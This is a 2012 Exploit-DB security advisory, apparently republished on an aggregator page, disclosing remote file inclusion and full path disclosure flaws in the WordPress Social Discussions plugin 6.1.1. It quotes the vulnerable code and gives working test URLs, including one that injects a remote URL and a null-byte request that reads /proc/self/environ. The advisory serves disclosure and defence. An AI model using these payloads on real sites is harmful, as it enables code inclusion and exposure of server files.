WordPress Plugin social discussions 6.1.1 – Multiple Vulnerabilities

• Exploit Database
• 99 阅读

• 作者： waraxe
  日期： 2012-10-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/22158/

• [waraxe-2012-SA#093] - Multiple Vulnerabilities in WordPress Social Discussions Plugin
  ======================================================================================
  
  Author: Janek Vind "waraxe"
  Date: 17. October 2012
  Location: Estonia, Tartu
  Web: http://www.waraxe.us/advisory-93.html
  
  
  Description of vulnerable target:
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  Enables Social Sharing of your blog posts to 30+ Social Networks. Plugin also
  enables you to Automatically Publish or Self Publish your Blog Posts to 25+ 
  Networks.
  
  http://wordpress.org/extend/plugins/social-discussions/
  
  Affected version: 6.1.1
  
  ###############################################################################
  1. Remote File Inclusion in "social-discussions-networkpub_ajax.php"
  ###############################################################################
  
  Reasons: Uninitialized variable "$HTTP_ENV_VARS"
  Attack vectors: User-supplied parameter "HTTP_ENV_VARS"
  Preconditions:
   1. register_globals=on
   2. register_long_arrays=off
   3. allow_url_include=on for RFI if PHP >= 5.2.0
   4. PHP must be < 5.3.4 for LFI null-byte attacks
   5. magic_quotes_gpc=off for LFI null-byte attacks
   
   
  Php script "social-discussions-networkpub_ajax.php" line 2:
  ------------------------[ source code start ]----------------------------------
  if (!function_exists('add_action')){
  @include_once($GLOBALS['HTTP_ENV_VARS']['DOCUMENT_ROOT'] . "/wp-config.php");
  ------------------------[ source code end ]------------------------------------
  
  We can see, that script expects old-style array "HTTP_ENV_VARS" to be initialized
  and containing "DOCUMENT_ROOT" entry. But it appears, that if PHP directive
  "register_long_arrays=off", then "HTTP_ENV_VARS" is uninitialized and if in
  same time "register_globals=on", it is possible to fill that array with any
  value, leading to the RFI (Remote File Inclusion) vulnerability.
  
  
  Tests:
  
  http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=http://php.net/?
  
  http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=/proc/self/environ%00z
  
  
  ###############################################################################
  2. Full Path Disclosure in multiple scripts
  ###############################################################################
  
  Reasons: Direct request to php script triggers pathname leak in error message
  Preconditions: PHP directive display_errors=on
  Result: Information Exposure Through an Error Message
  
  Tests:
  
  http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub.php
  
  Fatal error: Call to undefined function __() in
  C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2
  
  http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions.php
  
  Fatal error: Call to undefined function __() in
  C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2
  
  http://localhost/wp342/wp-content/plugins/social-discussions/social_discussions_service_names.php
  
  Fatal error: Call to undefined function __() in
  C:\apache_www\wp342\wp-content\plugins\social-discussions\social_discussions_service_names.php on line 3
  
  
  
  Contact:
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  come2waraxe@yahoo.com
  Janek Vind "waraxe"
  
  Waraxe forum:http://www.waraxe.us/forums.html
  Personal homepage: http://www.janekvind.com/
  Random project: http://albumnow.com/
  ---------------------------------- [ EOF ] ------------------------------------
  

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